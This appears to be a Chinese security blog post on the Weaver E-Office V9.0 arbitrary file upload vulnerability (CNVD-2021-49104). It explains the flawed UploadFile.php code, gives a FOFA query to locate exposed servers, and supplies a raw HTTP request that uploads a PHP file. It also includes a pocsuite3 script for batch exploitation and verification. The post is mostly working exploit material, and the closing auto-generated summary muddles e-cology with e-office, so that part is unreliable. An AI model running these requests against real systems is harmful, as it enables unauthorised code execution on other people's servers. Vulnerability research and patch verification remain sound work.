(php)泛微E-Office文件上传漏洞(原理分析+复现+批量检测)

漏洞描述

泛微e-office是泛微旗下的一款标准协同移动办公平台。

CNVD-2021-49104

由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行。

该漏洞CVSS评分:9.0,危害等级:高危

FOFA 查询

app="泛微-EOffice"

影响范围

影响版本:泛微e-office V9.0

代码分析

出现问题的代码在/general/index/UploadFile.php文件中,具体位置是

if ($uploadType == "eoffice_logo") {
    $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
    if (!file_exists($targetPath)) {
        mkdir($targetPath, 511, true);
    }
    $ext = $this->getFileExtension($_FILES['Filedata']['name']);
    //将上传的文件尾缀传给变量$ext
    $_targetFile = "logo-eoffice" . $ext;
    //将上传的文件名改为logo-eoffice.$ext
    $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
    //将['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的‘//’替换为'/'
    if (move_uploaded_file($tempFile, $targetFile)) {
        $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
        $result = exequery($connection, $query);
        $row = mysql_fetch_array($result);
        $param1 = $param2 = false;
        if (!$row) {
            $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
            $param1 = exequery($connection, $query);
        } else {
            $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
            $param1 = exequery($connection, $query);
        }
        //这段代码就是判断文件是否上传成功,如果成功了就更新数据库中的内容
        $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
        $result = exequery($connection, $query);
        $row = mysql_fetch_array($result);
        if (!$row) {
            $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
            $param2 = exequery($connection, $query);
        } else {
            $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
            $param2 = exequery($connection, $query);
        }
        if ($param1 && $param2) {
            echo $_targetFile;
            //上传成功后就输出文件名
        } else {
            echo 0;
        }
    } else {
        echo 0;
    }
}

漏洞分析

如上面代码所示,代码并没有对传入的文件进行过滤,如果我们传入一个php文件,那么传入的test.php就会变成logo-eoffice.php,并且传入到$_SERVER['DOCUMENT_ROOT']/images/logo目录下

POC

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: url:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LOGIN_LANG=cn; PHPSESSID=74c67d4ff7f3e45061684cba5a55c63b
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 192

--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg

<?php 
phpinfo();
?>

--123123--

pocsuite

# -*- coding:utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from urllib.parse import urljoin
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = "CNVD-2021-49104"
    version ='泛微 e-office v9.0'
    author = ["HADESI"]
    vulDate = "2020-12-15"
    createDate = "2021-11-30"
    updateDate = "2021-11-30"
    references =["https://nosec.org/home/detail/4910.html"]
    name ="泛微E-Office文件上传漏洞(CNVD-2021-49104)"
    appPowerLink = ''
    appName = '泛微E-Office'
    appVersion = 'v9.0'
    vulType = 'VUL_TYPE.UPLOAD_FILES '
    desc = '''
    泛微E-Office文件上传漏洞
    '''
    samples = []
    install_requires = ['']

    def _verify(self):
        result ={}
        path ="/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
        headers={'Content-Type': 'multipart/form-data; boundary=123123'}
        url = urljoin(self.url, path)
        data='''
--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg

<?php 
phpinfo();
?>

--123123--'''
        try:
            rr = requests.post(url=url,headers=headers,data=data,timeout=5)
            resq_results=requests.get(url=self.url+'/images/logo/logo-eoffice.php')
            if "System" in resq_results.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['path'] = self.url+'/images/logo/logo-eoffice.php'
                #result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()
register_poc(DemoPOC)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
泛微e-cology前台文件上传漏洞是指在泛微e-cology系统的前台功能中存在漏洞,攻击者可以利用该漏洞上传恶意文件到服务器上。根据引用\[1\]中提到的CNVD-2020-33199漏洞编号,该漏洞可能存在于泛微e-cology9版本的前台文件上传功能中。具体触发点位于文件/global_search.php的第108行,调用了doc2text()函数,并追溯到doc2txt()函数中的$FILE_PATH参数的源代码。该参数连接了附件目录(C:\eoffice9\webroot\ATTACHMENT)的数据表FLE_CONTENT中ATTACHMENT_ID和ATTACHMENT_NAME列的值,以获取完整的文件路径。\[2\] 需要注意的是,根据引用\[3\]中的声明,本文提供的信息仅供网络安全人员参考,未经授权请勿利用文章中的技术资料进行任何入侵操作。同时,禁止将本文提供的工具用于其他目的。 #### 引用[.reference_title] - *1* [泛微e-cology9前台文件上传漏洞复现](https://blog.csdn.net/qq_41490561/article/details/116119845)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [泛微E-Office前台文件上传漏洞](https://blog.csdn.net/u010025272/article/details/131312528)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值